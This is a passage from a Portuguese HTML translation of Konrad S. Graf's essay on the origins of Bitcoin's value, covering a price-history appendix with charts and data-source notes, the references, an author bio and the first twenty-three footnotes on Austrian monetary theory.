&lt;p>O 5º ano viu ciclos de atenção da mídia, movimentos dramáticos de preços e inúmeras startups de negócios e expansões em todo o mundo, geralmente com o objetivo de tornar o uso do Bitcoin mais fácil para círculos mais amplos de consumidores e comerciantes. Vários fundos de investimento em Bitcoin e fundos anjo criados. Conferências cada vez mais frequentes realizadas em todo o mundo. Um fluxo constante de notícias continuou a indicar opções crescentes de compra e venda de bens e serviços com Bitcoin.&lt;/p>
&lt;h2 id="apêndice-b-gráfico-de-formação-de-preços-de-cinco-anos">Apêndice B: Gráfico de formação de preços de cinco anos&lt;/h2>
&lt;p>O gráfico a seguir reflete toda a história da formação de preços do Bitcoin em uma imagem. Visualizar esses dados juntos requer uma escala logarítmica para que as figuras menores não desapareçam na linha de base. De acordo com uma perspectiva de longo prazo, números semanais brutos ou quando disponíveis, ponderados semanais, são utilizados. Isso ajuda a filtrar o ruído dos picos e cochos extremamente curtos de mania/pânicos que são tão amados para uso em lead-ins da mídia pop. A linha azul zero plana de janeiro até o início de outubro de 2009 deve ser entendida como nenhum preço de qualquer tipo, mesmo que a escala logarítmica não permita uma verdadeira linha zero (vista aqui como $0,0001).&lt;/p>
&lt;p>&lt;img class="img-fluid" alt="media" src="https://cypherpunks.com.br/stuff/xbtusd-alltime-logscale.png" loading="lazy"
width="540" height="364"
/>
&lt;/p>
&lt;p>Uma segunda versão deste gráfico na página a seguir esclarece a associação das diferentes linhas de dados com os anos do calendário.&lt;sup id="fnref:40">&lt;a href="#fn:40" class="footnote-ref" role="doc-noteref">40&lt;/a>&lt;/sup> As linhas de inclinação do início ao fim de cada ano civil (ou melhor ponto de dados disponível) mostram como as linhas de dados se combinam para sugerir uma tendência histórica global.&lt;/p>
&lt;p>&lt;img class="img-fluid" alt="media" src="https://cypherpunks.com.br/stuff/xbtusd-alltime-logscale-pegavaretas.png" loading="lazy"
width="552" height="374"
/>
&lt;/p>
&lt;p>O gráfico combina diferentes fontes de dados para diferentes períodos de tempo. Trabalhando para trás, a linha Bstp-13 é o gráfico médio ponderado semanal para a corretora Bitstamp em 2013. Abandonei os dados de troca da MtGox quando eles se tornaram outliers claros durante 2013. Gox-10-Gox12 são as linhas de dados médias ponderadas semanalmente para toda a história do MtGox desde seu comércio de abertura de $0,05 até 2012.&lt;/p>
&lt;p>NSL-09-NSL-10 refere-se aos preços da oferta de Bitcoin publicados na New Liberty Standard&lt;sup id="fnref:41">&lt;a href="#fn:41" class="footnote-ref" role="doc-noteref">41&lt;/a>&lt;/sup> no final de 2009 e início de 2010. O site NLS também inclui preços do Mercado Bitcoin (refletido na linha BtMk). Links diretos para dados do Bitcoin Market não parecem mais estar acessíveis.&lt;/p>
&lt;p>NLS se ofereceu para vender Bitcoin em blocos mínimos de valor equivalentes a um grama de ouro na época (em particular, unidades Pecunix). As taxas de ofertas da NLS foram descritas como &amp;ldquo;a média da produção ajustada de bitcoin por dia dividida pelos custos médios de produção por dia&amp;rdquo;.&lt;sup id="fnref:42">&lt;a href="#fn:42" class="footnote-ref" role="doc-noteref">42&lt;/a>&lt;/sup> Não tenho certeza de até que ponto os compradores levaram em consideração o NLS sobre esses preços oferecidos ou até que ponto os preços listados para o Bitcoin Market realmente refletiam negociações concretas ou em que volumes.&lt;/p>
&lt;p>Como o custo de produção estima, os números históricos do NLS não constituem necessariamente preços de mercado em si, pois não está claro quais negociações foram realmente conduzidas. No entanto, na medida em que o Bitcoin foi comprado a preços ou próximos a esses preços, isso fornece uma fonte de dados sistemáticos para esta fase inicial. Esse custo publicado de dados de produção também ajudou a definir o contexto para o início de desenvolvimentos subsequentes de formação de preços.&lt;/p>
&lt;p>Uma notícia anedótica recente diz que Kristoffer Koch comprou 5.000 bitcoins por 150 Coroas norueguesas &amp;ldquo;em 2009&amp;rdquo;.&lt;sup id="fnref:43">&lt;a href="#fn:43" class="footnote-ref" role="doc-noteref">43&lt;/a>&lt;/sup> Presumo que seria provavelmente muito tarde para que fosse em 2009, em dezembro de 2009, isso era o equivalente a $26. O preço pago, portanto, equivale a $0,0052 por bitcoin. Mais detalhes de tais negociações reais anedóticas poderiam complementar nosso conhecimento deste período inicial, e datas reais seriam úteis para tais dados. Para referência, a transação &amp;ldquo;Pizza Bitcoin&amp;rdquo; de maio de 2010 refletiu uma avaliação de Bitcoin de $0,0025, abaixo do preço no Bitcoin Market por volta dessa época de cerca de $0,0045 e também abaixo do preço NLS de cerca de $0,0055. Em suma, um quarto de centavo a meio centavo era a faixa de preço na época.&lt;/p>
&lt;p>A linha NoEXV significa &amp;ldquo;sem valor de troca&amp;rdquo;. Isso representa um período de pelo menos nove meses para o qual nenhuma evidência é visível de qualquer padrão de unidades de bitcoin sendo compradas e vendidas, muito menos usadas como meio de troca. No entanto, durante 2009, a rede Bitcoin estava sendo operada como um experimento. Os mineradores estavam minerando moedas (e aqueles que suspeitavam que o experimento poderia algum dia ter sucesso estavam mantendo-os), os desenvolvedores estavam refinando o software, e algumas transações experimentais e no final do ano algumas transações de Bitcoin por dinheiro estavam sendo enviadas, com preço em frações de centavos.&lt;/p>
&lt;p>Em 2009-2010, bitcoins foram usados como objetos dentro das estruturas de meios/fins dos agentes humanos, sem que essas ações implicassem o uso do Bitcoin para facilitar as trocas indiretas. Esta foi a fase durante a qual as unidades de bitcoin estavam sendo descobertas como novos objetos de ação, tornando-os mercadorias no sentido mais simples — colecionáveis esperançosos (2009) ou excepcionalmente como bens de investimento digital de alto risco que pouquíssimas pessoas viram qualquer potencial em (2010). Eles começaram a funcionar discernivelmente como um meio de troca apenas em 2011.&lt;/p>
&lt;h2 id="referências">Referências&lt;/h2>
&lt;p>Graf, Konrad S. 27 fev. 2013. “Bitcoins, the regression theorem, and that curious but unthreatening empirical world” &lt;em>konradsgraf.com&lt;/em>. Versão em áudio lançada em 30 de junho de 2013 em &lt;a href="http://youtube.com/watch?v=aklTqDktrR4" target="_blank" rel="noopener noreferrer">youtube.com/watch?v=aklTqDktrR4&lt;/a>
&lt;/p>
&lt;p>Graf, Konrad S. 19 de março de 2013. “The sound of one bitcoin: Tangibility, scarcity, and a ‘hardmoney’ checklist.” &lt;a href="http://konradsgraf.com/blog1/2013/3/19/in-depth-the-sound-of-one-bitcoin-tangibility-scarcity-and-a.html" target="_blank" rel="noopener noreferrer">&lt;em>konradsgraf.com&lt;/em>&lt;/a>
&lt;/p>
&lt;p>Graf, Konrad S. 22 de julho de 2013. &amp;ldquo;Bitcoin, price denomination and fixed-rate fiat conversions.&amp;rdquo; &lt;a href="http://konradsgraf.com/blog1/2013/7/22/bitcoin-price-denomination-and-fixed-rate-fiat-conversions.html" target="_blank" rel="noopener noreferrer">&lt;em>konradsgraf.com&lt;/em>&lt;/a>
&lt;/p>
&lt;p>Graf, Konrad S. 25 de julho de 2013 &amp;quot; Tiger cub growing up? Bitcoin weekly average closing prices year over year &amp;quot; &lt;a href="http://konradsgraf.com/blog1/2013/7/25/tiger-cub-growing-up-bitcoin-weekly-average-closing-prices-y.html" target="_blank" rel="noopener noreferrer">&lt;em>konradsgraf.com&lt;/em>&lt;/a>
&lt;/p>
&lt;p>Graf, Konrad S. 14 de setembro de 2013. &amp;quot; Bitcoin as medium of exchange now and unit of account later: The inverse of Koning’s medieval coins.&amp;rdquo; &lt;a href="http://konradsgraf.com/blog1/2013/9/14/bitcoin-as-medium-of-exchange-now-and-unit-of-account-later.html" target="_blank" rel="noopener noreferrer">&lt;em>konradsgraf.com&lt;/em>&lt;/a>
&lt;/p>
&lt;p>Graf, Konrad S. 15 de setembro de 2013. &amp;quot; The labor, leisure, and happiness game: Psychology, praxeology, and ethics.&amp;quot; &lt;a href="http://konradsgraf.com/blog1/2013/9/15/the-labor-leisure-and-happiness-game-psychology-praxeology-a.html" target="_blank" rel="noopener noreferrer">&lt;em>konradsgraf.com&lt;/em>&lt;/a>
&lt;/p>
&lt;p>Hülsmann, Jörg Guido. 2003. &amp;ldquo;From Value Theory to Praxeology&amp;rdquo;, Introdução à terceira edição de &lt;em>Epistemological Problems of Economics&lt;/em> de Ludwig von Mises. Auburn, Alabama: Instituto Mises&lt;/p>
&lt;p>Hülsmann, Jörg Guido. 2007. &lt;em>Mises: The Last Knight of Liberalism.&lt;/em> Auburn, Alabama: Instituto Mises. &lt;a href="http://mises.org/document/3295/Mises-The-Last-Knight-of-Liberalism" target="_blank" rel="noopener noreferrer">mises.org/document/3295/Mises-The-Last-Knight-of-Liberalism&lt;/a>
&lt;/p>
&lt;p>Hülsmann, Jörg Guido. 2008. &lt;em>Deflation and Liberty.&lt;/em> Auburn, Alabama: Instituto Mises. &lt;a href="http://nakamotoinstitute.org/literature/deflation-and-liberty/" target="_blank" rel="noopener noreferrer">nakamotoinstitute.org/literature/deflation-and-liberty/&lt;/a>
&lt;/p>
&lt;p>Hülsmann, Jörg Guido. 2008a. &lt;em>The Ethics of Money Production&lt;/em>. Auburn, Alabama: Mises Institute. &lt;a href="http://mises.org/document/3747/The-Ethics-of-Money-Production" target="_blank" rel="noopener noreferrer">mises.org/document/3747/The-Ethics-of-Money-Production&lt;/a>
&lt;/p>
&lt;p>Kinsella, Stephan. 2001. &amp;ldquo;Against Intellectual Property.&amp;rdquo; &lt;em>Journal of Libertarian Studies&lt;/em> 15 (2): 1-53. &lt;a href="http://nakamotoinstitute.org/literature/against-ip/" target="_blank" rel="noopener noreferrer">nakamotoinstitute.org/literature/against-ip/&lt;/a>
&lt;/p>
&lt;p>Knapp, Georg Friedrich. 1895. &lt;em>Staatliche Theorie des Geldes&lt;/em> (&amp;ldquo;The State Theory of Money&amp;rdquo;), München u. Leipzig, Duncker &amp;amp; Humblot. 3ª edição 1921. Tradução de inglês 1924. Londres: McMillan e Companhia. &lt;a href="http://socserv2.socsci.mcmaster.ca/~econ/ugcm/3ll3/knapp/StateTheoryMoney.pdf" target="_blank" rel="noopener noreferrer">State Theory of Money&lt;/a>
&lt;/p>
&lt;p>Krawisz, Daniel. 2 July 2013. “The Original Value of Bitcoins.” &lt;a href="http://nakamotoinstitute.org/mempool/the-original-value-of-bitcoins/" target="_blank" rel="noopener noreferrer">&lt;em>nakamotoinstitute.org&lt;/em>&lt;/a>
&lt;/p>
&lt;p>Menger, Carl. 2009 [1892]. “On the Origins of Money.” Auburn, Alabama: Ludwig von Mises Institute. Translation by C. A. Foley&lt;/p>
&lt;p>Mises, Ludwig von. 1912. &lt;em>Theorie des Geldes und der Umlaufsmittel&lt;/em>. Munchen und Leipzig: Ferlag von Duncker &amp;amp; Humblot. &lt;a href="http://mises.org/document/3298/" target="_blank" rel="noopener noreferrer">mises.org/document/3298/&lt;/a>
&lt;/p>
&lt;p>Mises, Ludwig von. 1953 [1912]. &lt;em>The Theory of Money and Credit&lt;/em>. New Haven: Yale University Press. Reprinted and online: &lt;a href="http://nakamotoinstitute.org/literature/theory-money-credit/" target="_blank" rel="noopener noreferrer">nakamotoinstitute.org/literature/theory-money-credit/&lt;/a>
&lt;/p>
&lt;p>Mises, Ludwig von. 1998 [1949]. &lt;em>Human Action: A Treatise on Economics.&lt;/em> The Scholar’s Edition. Auburn, Alabama: Mises Institute. &lt;a href="http://mises.org/document/3250" target="_blank" rel="noopener noreferrer">mises.org/document/3250&lt;/a>
&lt;/p>
&lt;p>Mises, Ludwig von. 2006 [1962]. &lt;em>The Ultimate Foundation of Economic Science: An Essay on Method.&lt;/em> Indianapolis, IN: Liberty Fund. &lt;a href="http://mises.org/books/ufofes" target="_blank" rel="noopener noreferrer">mises.org/books/ufofes&lt;/a>
&lt;/p>
&lt;p>Mises, Ludwig von. 2007 [1957]. &lt;em>Theory and History: An Interpretation of Social and Economic Evolution&lt;/em>. Auburn, Alabama: Mises Institute&lt;/p>
&lt;p>Nakamoto, Satoshi. 2008. “Bitcoin: A Peer-to-Peer Electronic Cash System.” &lt;a href="http://nakamotoinstitute.org/bitcoin/" target="_blank" rel="noopener noreferrer">White Paper&lt;/a>
&lt;/p>
&lt;p>Ridley, Matt. 2010. &lt;em>The Rational Optimist: How Prosperity Evolves. New York: Harper&lt;/em>. Esp. Chap. 2.&lt;/p>
&lt;p>Rothbard, Murray N. 2004 [1962, 1970]. &lt;em>Man, Economy, and State, with Power and Market.&lt;/em> The Scholar’s Edition. Auburn, Alabama: Mises Institute. &lt;a href="http://mises.org/rothbard/mes.asp" target="_blank" rel="noopener noreferrer">mises.org/rothbard/mes.asp&lt;/a>
&lt;/p>
&lt;p>Šurda, Peter. 2012. &lt;em>Economics of Bitcoin: Is Bitcoin an alternative to fiat currencies and gold?&lt;/em> Thesis for the Vienna University of Economics and Business. &lt;a href="http://nakamotoinstitute.org/literature/economics-of-bitcoin/" target="_blank" rel="noopener noreferrer">nakamotoinstitute.org/literature/economics-of-bitcoin/&lt;/a>
&lt;/p>
&lt;p>Šurda, Peter. 22 September 2013. “Professor Walter Block is clueless about Bitcoin.” &lt;a href="http://www.economicsofbitcoin.com/2013/09/professor-walter-block-is-clueless.html" target="_blank" rel="noopener noreferrer">&lt;em>economicsofbitcoin.com&lt;/em>&lt;/a>
&lt;/p>
&lt;p>Szabo, Nick. 2002. “Shelling Out: The Origins of Money.” &lt;a href="http://nakamotoinstitute.org/shelling-out/" target="_blank" rel="noopener noreferrer">&lt;em>nakamotoinstitute.org&lt;/em>&lt;/a>
&lt;/p>
&lt;p>Tucker, Jeffrey A. and Stephan Kinsella. 25 August 2010. “Goods, Scarce and Nonscarce.” &lt;em>Mises Daily&lt;/em>&lt;/p>
&lt;p>Wenzel, Robert. 7 October 2013. “Is Bitcoin Money: What Economists Have To Say.” &lt;a href="http://http/www.economicpolicyjournal.com/2013/10/is-bitcoin-money-what-economists-have.html" target="_blank" rel="noopener noreferrer">&lt;em>economicpolicyjournal.com&lt;/em>&lt;/a>
&lt;/p>
&lt;p>Wilber, Ken. 1998. &lt;em>The Marriage of Sense and Soul: Integrating Science and Religion&lt;/em>. New York: Broadway Books&lt;/p>
&lt;h2 id="sobre-o-autor">Sobre o Autor&lt;/h2>
&lt;p>&lt;img class="img-fluid" alt="media" src="https://cypherpunks.com.br/stuff/konradsgraf-todo-engravatado.webp" loading="lazy"
width="415" height="411"
/>
&lt;/p>
&lt;p>Konrad S. Graf é o formulador do paradigma de jurisprudência baseada na ação, que defende novas e mais explícitas aplicações dos princípios da teoria da ação de Mises e Hoppe dentro de uma abordagem integral para com os fundamentos da filosofia jurídica. Ele escreveu numerosos trabalhos sobre Bitcoin e teoria monetária.&lt;/p>
&lt;p>Trabalhou como tradutor profissional desde 1998, traduzindo o japonês para o inglês principalmente no campo da pesquisa de investimentos. Alemão é sua terceira língua. Ele viveu nos EUA, Índia, Japão e Alemanha.&lt;/p>
&lt;p>&lt;a href="http://konradsgraf.com" target="_blank" rel="noopener noreferrer">konradsgraf.com&lt;/a>
&lt;/p>
&lt;p>&lt;a href="https://twitter.com/KonradSGraf" target="_blank" rel="noopener noreferrer">@konradsgraf&lt;/a>
&lt;/p>
&lt;hr>
&lt;h2 id="fonte">Fonte:&lt;/h2>
&lt;p>&lt;a href="https://nakamotoinstitute.org/static/docs/origins-of-bitcoin.pdf" target="_blank" rel="noopener noreferrer">nakamotoinstitute&lt;/a>
&lt;/p>
&lt;hr>
&lt;div class="footnotes" role="doc-endnotes">
&lt;hr>
&lt;ol>
&lt;li id="fn:1">
&lt;p>Um estudo rápido sobre o teorema da regressão pode ser acessado em Murray N. Rothbard 2004 [1962, 1970]. &lt;em>Man, Economy and State with Power and Market.&lt;/em> Edição Acadêmica. Auburn, Alabama: Instituto Mises. &lt;a href="https://d.docs.live.net/543cc2324671828d/%c3%81rea%20de%20Trabalho/Documentos/mises.org/rothbard/mes.asp" target="_blank" rel="noopener noreferrer">mises.org/rothbard/mes.asp&lt;/a>
268–276.&amp;#160;&lt;a href="#fnref:1" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:2">
&lt;p>Trata-se de uma aplicação da divisão estrita entre os reinos adequados da teoria universal e da interpretação específica do caso. Veja em particular Ludwig von Mises. 2007 [1957]. &lt;em>Theory and History: An Interpretation of Social and Economic Evolution&lt;/em>. Auburn, Alabama: Instituto Mises.&amp;#160;&lt;a href="#fnref:2" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:3">
&lt;p>Para uma história concisa dos grandes desenvolvimentos monetários, consulte Jörg Guido Hülsmann. 2008a. &lt;em>The Ethics of Money Production&lt;/em>. Auburn, Alabama: Mises Institute. &lt;a href="http://mises.org/document/3747/The-Ethics-of-Money-Production" target="_blank" rel="noopener noreferrer">mises.org/document/3747/The-Ethics-of-Money-Production&lt;/a>
. Também recomendo fortemente a totalidade deste trabalho.&amp;#160;&lt;a href="#fnref:3" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:4">
&lt;p>Para uma discussão sobre esses pontos, consulte meu artigo de 22 de julho de 2013. &amp;quot; Bitcoin, price denomination and fixed-rate fiat conversions.&amp;quot; &lt;a href="http://konradsgraf.com/blog1/2013/7/22/bitcoin-price-denomination-and-fixed-rate-fiat-conversions.html" target="_blank" rel="noopener noreferrer">&lt;em>konradsgraf.com&lt;/em>&lt;/a>
.&lt;/p>
&lt;p>Hülsmann também aponta em 2008a que:&lt;/p>
&lt;p>&lt;em>&amp;ldquo;Historicamente, o estabelecimento de monopólio de bulhões tem sido um passo importante na consolidação e centralização dos sistemas monetários nacionais sob controle governamental. A proibição da prata abriu caminho para uma inflação de certificados de reserva fracionada apoiados pelo ouro.&amp;rdquo;&lt;/em> (117)&amp;#160;&lt;a href="#fnref:4" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:5">
&lt;p>Carl Menger. 2009 [1892]. &amp;quot; On the Origins of Money&amp;quot;. Auburn, Alabama: Instituto Ludwig von Mises. Tradução de C. A. Foley.&amp;#160;&lt;a href="#fnref:5" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:6">
&lt;p>Daniel Krawisz. 2 de julho de 2013. &amp;quot; The Original Value of Bitcoins&amp;quot; &lt;a href="http://nakamotoinstitute.org/mempool/the-original-value-of-bitcoins/" target="_blank" rel="noopener noreferrer">&lt;em>http://nakamotoinstitute.org/mempool/the-original-value-of-bitcoins/&lt;/em>&lt;/a>
; Peter Šurda: 2012. &lt;a href="http://nakamotoinstitute.org/literature/economics-of-bitcoin/" target="_blank" rel="noopener noreferrer">&lt;em>Economics of Bitcoin: Is Bitcoin an alternative to fiat currencies and gold?&lt;/em>&lt;/a>
Tese para a Universidade de Economia e Negócios de Viena; e, mais recentemente, 22 de setembro de 2013. &amp;quot; Professor Walter Block is clueless about Bitcoin.&amp;quot; &lt;a href="http://www.economicsofbitcoin.com/2013/09/professor-walter-block-is-clueless.html" target="_blank" rel="noopener noreferrer">&lt;em>economicsofbitcoin.com&lt;/em>&lt;/a>
&amp;#160;&lt;a href="#fnref:6" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:7">
&lt;p>Robert Wenzel. 7 de outubro de 2013. &amp;ldquo;Bitcoin é dinheiro: o que os economistas têm a dizer.&amp;rdquo; &lt;a href="http://www.economicpolicyjournal.com/2013/10/is-bitcoin-money-what-economists-have.html" target="_blank" rel="noopener noreferrer">economicpolicyjournal.com&lt;/a>
.&amp;#160;&lt;a href="#fnref:7" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:8">
&lt;p>Eu entro nisso em alguns detalhes em meu 14 de setembro de 2013. &amp;ldquo;Bitcoin as medium of exchange now and unit of account later: The inverse of Koning’s medieval coins.&amp;rdquo; &lt;a href="http://konradsgraf.com/blog1/2013/9/14/bitcoin-as-medium-of-exchange-now-and-unit-of-account-later.html" target="_blank" rel="noopener noreferrer">&lt;em>konradsgraf.com&lt;/em>&lt;/a>
.&amp;#160;&lt;a href="#fnref:8" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:9">
&lt;p>27 de fevereiro de 2013. &amp;ldquo;Bitcoins, the regression theorem, and that curious but unthreatening empirical world&amp;rdquo; &lt;a href="http://konradsgraf.com/blog1/2013/2/27/in-depth-bitcoins-the-regression-theorem-and-that-curious-bu.html" target="_blank" rel="noopener noreferrer">&lt;em>konradsgraf.com&lt;/em>&lt;/a>
; 19 de março de 2013. &amp;quot; The sound of one bitcoin: Tangibility, scarcity, and a ‘hard-money’ checklist.&amp;rsquo;.&amp;quot; &lt;a href="http://konradsgraf.com/blog1/2013/3/19/in-depth-the-sound-of-one-bitcoin-tangibility-scarcity-and-a.html" target="_blank" rel="noopener noreferrer">&lt;em>konradsgraf.com&lt;/em>&lt;/a>
.&amp;#160;&lt;a href="#fnref:9" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:10">
&lt;p>Para obter mais informações teóricas sobre esses conceitos, consulte Stephan Kinsella. 2001. &amp;quot; Against Intellectual Property.&amp;quot; &lt;em>Journal of Libertarian Studies&lt;/em> 15 (2): 1-53. &lt;a href="http://mises.org/document/3582" target="_blank" rel="noopener noreferrer">mises.org/document/3582&lt;/a>
; e Jeffrey A. Tucker e Stephan Kinsella. 25 de agosto de 2010. &amp;ldquo;Bens, Escassos e Não-Escassos.&amp;rdquo; &lt;a href="http://mises.org/daily/4630" target="_blank" rel="noopener noreferrer">&lt;em>Mises Daily&lt;/em>&lt;/a>
.&amp;#160;&lt;a href="#fnref:10" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:11">
&lt;p>Desenvolvi essa definição de bens não rivais e examinei vários sentidos distintos da palavra escassez no meu artigo de 19 de março. Šurda ressalta que endereços IP e nomes de DNS também devem ser considerados exemplos anteriores de produtos digitais escassos. Embora sejam apenas cadeias digitais, no contexto, as tentativas simultâneas de uso são incompatíveis, tornando-as rivais.&amp;#160;&lt;a href="#fnref:11" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:12">
&lt;p>Um exemplo primordial desse conteúdo é sobre como avaliar as características relativas de segurança teórica das várias curvas de assinatura digital da curva elíptica (ECDSA). Tais questões altamente técnicas não podem ser tratadas com reflexões vagas de poltronas, mas devem ser tratadas com base no conhecimento adequado das áreas adequadas de conhecimento especializado e avaliação de riscos. Pode ser importante, por exemplo, que o Bitcoin use a curva sepc256&lt;em>k&lt;/em>1 menos comum para suas keypairs, em oposição à curva sepc256&lt;em>r&lt;/em>1 muito mais usada. Em geral, veja Nick Sullivan. 24 de outubro de 2013. &amp;quot; A (relatively easy to understand) primer on elliptic curve cryptography. &amp;quot; &lt;a href="http://arstechnica.com/security/2013/10/a-relatively-easy-to-understand-primer-on-elliptic-curve-cryptography/" target="_blank" rel="noopener noreferrer">*Arstechnica&lt;/a>
&lt;em>.&lt;/em> Em particular, consulte Vitalik Buterin. 28 de outubro de 2013. &amp;quot; Satoshi’s genius: Unexpected ways in which Bitcoin dodged some cryptographic bullets.&amp;quot; &lt;a href="https://bitcoinmagazine.com/technical/satoshis-genius-unexpected-ways-in-which-bitcoin-dodged-some-cryptographic-bullet-1382996984" target="_blank" rel="noopener noreferrer">Bitcoin Magazine&lt;/a>
&amp;#160;&lt;a href="#fnref:12" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:13">
&lt;p>Dizer que uma moeda fiduciária em particular é &amp;ldquo;forte&amp;rdquo; é um eufemismo. Todas as moedas fiduciárias perdem valor constantemente. Uma moeda fiduciária &amp;ldquo;forte&amp;rdquo; refere-se a uma que está perdendo seu valor relativamente menos rapidamente quando comparada com outras.&amp;#160;&lt;a href="#fnref:13" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:14">
&lt;p>A maior parte do ouro acessível na Terra já é entendida como tendo vindo de quedas de meteoritos na superfície. O ouro original da Terra provavelmente afundou profundamente no núcleo derretido baseado em sua densidade relativa muito cedo no desenvolvimento geológico do planeta.&amp;#160;&lt;a href="#fnref:14" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:15">
&lt;p>Ludwig von Mises. 1998 [1949]. &lt;em>Human Action: A Treatise on Economics.&lt;/em> Edição do Acadêmico. Auburn, Alabama: Instituto Mises. &lt;a href="http://mises.org/document/3250" target="_blank" rel="noopener noreferrer">mises.org/document/3250&lt;/a>
&amp;#160;&lt;a href="#fnref:15" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:16">
&lt;p>A seção 7 abaixo desenvolve um exemplo de situação de ação para esclarecer o que é necessário para evitar tal circularidade lógica e por quê.&amp;#160;&lt;a href="#fnref:16" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:17">
&lt;p>&lt;code> &lt;/code>&lt;em>A State Theory of Money&lt;/em> de G. F. Knapp apareceu em alemão em 1895 e os cartalistas modernos carregam elementos dessa tradição.&amp;#160;&lt;a href="#fnref:17" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:18">
&lt;p>Rothbard usa uma situação hipotética para contrastar uma situação em que os preços relativos do dinheiro existem e uma em que eles de repente deixam de estar disponíveis: &amp;ldquo;Uma vez que a utilidade marginal da commodity monetária depende dos preços monetários existentes anteriormente, uma eliminação dos mercados existentes e do conhecimento dos preços monetários tornaria impossível o restabelecimento de uma economia monetária. A economia seria destruída e jogada de volta em um estado altamente primitivo de troca, depois do qual uma economia monetária só poderia ser lentamente restabelecida como havia sido antes.&amp;rdquo; (2004, 271–272)&amp;#160;&lt;a href="#fnref:18" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:19">
&lt;p>Diferenças de preços perceptíveis permanecem entre as maiores corretoras de Bitcoin, com a MtGox como o principal caso fora da curva devido aos seus desafios específicos na transferência de dólares americanos para clientes localizados nos Estados Unidos. A movimentação do próprio Bitcoin é simples e eficiente em uma base global, mas a arbitragem de câmbio eficaz ainda é bastante limitada devido aos lados não-Bitcoin destas negociações. Esta é a maior dificuldade, custo e prazo necessários para transferir moedas correntes fiduciárias dentro do sistema bancário internacional convencional. Para ajudar a lidar com isto, o BitPay e o Coindesk desenvolvem preços de referência do Bitcoin que são construídos de maneiras ligeiramente diferentes. Elas combinam dados em tempo real de muitas das principais corretoras. O BitPay reúne uma carteira de demandas consolidada a partir de vários câmbios, enquanto o Coindesk constrói sobre o índice. Ambos atualmente excluem o outlier de preço MtGox.&amp;#160;&lt;a href="#fnref:19" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:20">
&lt;p>Consulte neste contexto também o meu artigo de 14 de setembro de 2013.&amp;#160;&lt;a href="#fnref:20" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:21">
&lt;p>Matt Ridley, em uma seção de &lt;em>The Rational Optimist: How Prosperity Evolves.&lt;/em> (2010), detalha o declínio tecnológico e de conhecimento de vários séculos na ilha da Tasmânia depois que a pequena população foi cortada de uma rede de comércio anteriormente mais ampla.&amp;#160;&lt;a href="#fnref:21" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:22">
&lt;p>Isso também implica que, uma vez que a ideia geral de troca indireta se familiarize pela primeira vez em uma sociedade, novas possibilidades para a questão &amp;ldquo;com o quê?&amp;rdquo; podem ser reconhecidas mais rapidamente do que se a ideia geral de troca indireta não for totalmente familiar, como em um contexto verdadeiramente apenas de troca.&amp;#160;&lt;a href="#fnref:22" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:23">
&lt;p>Murray Rothbard observou este ponto, por exemplo, em sua discussão sobre o teorema da regressão (2004, 275).&amp;#160;&lt;a href="#fnref:23" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:24">
